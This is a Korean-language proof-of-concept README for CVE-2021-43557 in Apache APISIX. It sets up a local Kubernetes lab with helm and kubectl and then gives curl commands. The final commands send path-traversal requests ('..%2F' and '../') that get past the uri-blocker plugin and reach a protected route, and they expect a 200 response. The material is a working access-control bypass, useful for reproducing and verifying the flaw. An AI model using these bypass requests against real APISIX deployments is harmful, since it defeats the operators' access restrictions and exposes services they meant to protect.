
CVE-2021-43557에 대한 PoC
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
--set gateway.type=NodePort \
--set ingress-controller.enabled=true \
--namespace ingress-apisix \
--version 0.7.2
kubectl get service --namespace ingress-apisix
kubectl apply -f app.yamlkubectl apply -f routes.yaml선택 사항: 앱 이미지를 변경해야 하는 경우:
cd protected-service; docker build -t protected-service:0.0.1 .cd public-service; docker build -t public-service:0.0.1 .minikube image load protected-service:0.0.1minikube image load public-service:0.0.1퍼블릭 서비스에 접근하려면:
kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
200이 반환되어야 합니다.
보호된 서비스에 접근하려면:
kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'
403이 반환되어야 합니다.
uri-blocker를 우회하여 보호된 서비스에 접근하려면: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test'
uri-blocker를 우회하여 보호된 서비스에 접근하려면: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'
두 경우 모두 200이 반환되어야 합니다.